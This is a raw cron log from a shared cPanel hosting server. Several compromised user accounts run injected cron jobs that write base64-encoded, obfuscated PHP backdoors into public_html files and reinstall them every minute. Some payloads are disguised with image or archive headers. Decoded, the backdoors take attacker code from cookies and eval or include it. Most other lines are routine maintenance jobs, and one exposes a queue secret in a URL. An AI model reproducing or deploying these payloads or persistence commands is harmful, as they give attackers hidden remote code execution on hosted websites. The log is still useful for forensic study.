Jun  7 12:09:01 medusa CROND[25847]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:09:01 medusa CROND[25849]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:09:01 medusa CROND[25848]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:09:01 medusa CROND[25845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:09:01 medusa CROND[25851]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:10:01 medusa CROND[27488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:10:01 medusa CROND[27489]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:10:01 medusa CROND[27490]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:10:01 medusa CROND[27492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:10:01 medusa CROND[27491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:10:01 medusa CROND[27493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:10:02 medusa CROND[27494]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:10:02 medusa CROND[27496]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:10:02 medusa CROND[27498]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:10:02 medusa CROND[27497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:10:02 medusa CROND[27499]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:10:02 medusa CROND[27501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:10:02 medusa CROND[27502]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:10:02 medusa CROND[27503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:10:02 medusa CROND[27504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:10:02 medusa CROND[27505]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:10:02 medusa CROND[27508]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:10:02 medusa CROND[27509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27510]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:10:02 medusa CROND[27514]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:10:02 medusa CROND[27520]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:10:02 medusa CROND[27522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:10:02 medusa CROND[27512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 12:10:02 medusa CROND[27556]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:11:01 medusa CROND[29315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:11:01 medusa CROND[29316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:11:01 medusa CROND[29317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:11:01 medusa CROND[29318]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:11:01 medusa CROND[29319]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:11:01 medusa CROND[29321]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
